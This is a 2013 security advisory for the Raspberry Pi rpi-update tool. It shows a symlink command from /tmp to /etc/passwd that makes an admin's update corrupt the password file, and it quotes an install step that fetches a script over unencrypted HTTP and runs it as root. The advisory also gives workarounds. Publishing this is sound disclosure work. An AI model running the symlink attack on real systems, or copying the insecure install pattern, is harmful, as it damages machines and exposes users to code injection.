Raspberry Pi Firmware Updater File Clobber

2013-03-04T00:00:00
ID PACKETSTORM:120623
Type packetstorm
Reporter Technion
Modified 2013-03-04T00:00:00

Description

                                        
                                            `Raspberry Pi Firmware Updater Vulnerability  
  
Application:  
https://github.com/Hexxeh/rpi-update/  
  
Version Tested:  
Github source as of 10ad1e975a (10th Feb commit)  
  
Vulnerability #1:  
A malicious user can clobber any file due to insecure tmp file handling.   
  
Example:  
  
Any unprivileged user can create the following symlink, either from   
a shell account, or by malicious web content such as PHP scripts.  
pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh  
  
Once in place, the symlink is awaiting the administrator to run an update:  
pi@raspberrypi ~ $ sudo rpi-update  
...  
pi@raspberrypi ~ $ cat /etc/passwd  
#!/bin/bash  
if mv "./testfile.sh.tmp" "./testfile.sh"; then  
rm -- "$0"  
exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""  
else  
echo " !!! Failed!"  
fi  
  
As of this point, the pi is quite unusable due to the corrupted password database.  
Note that the attacker cannot customise the content, for example, to set  
a UID0 account.  
  
Vulnerability #2:  
The installation recommends the following command:  
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update  
  
Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the root user.  
  
Fix and Vendor Response  
A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been accepted.  
  
Workaround  
By running rpi-update with the self update feature disabled, the affected code is not executed. Example:  
sudo UPDATE_SELF=0 rpi-update  
  
If you would like to update the application manually, or perform an initial installation safely, use the following commands:  
wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update  
sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update  
  
Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first automatic update.  
  
technion@lolware.net  
  
`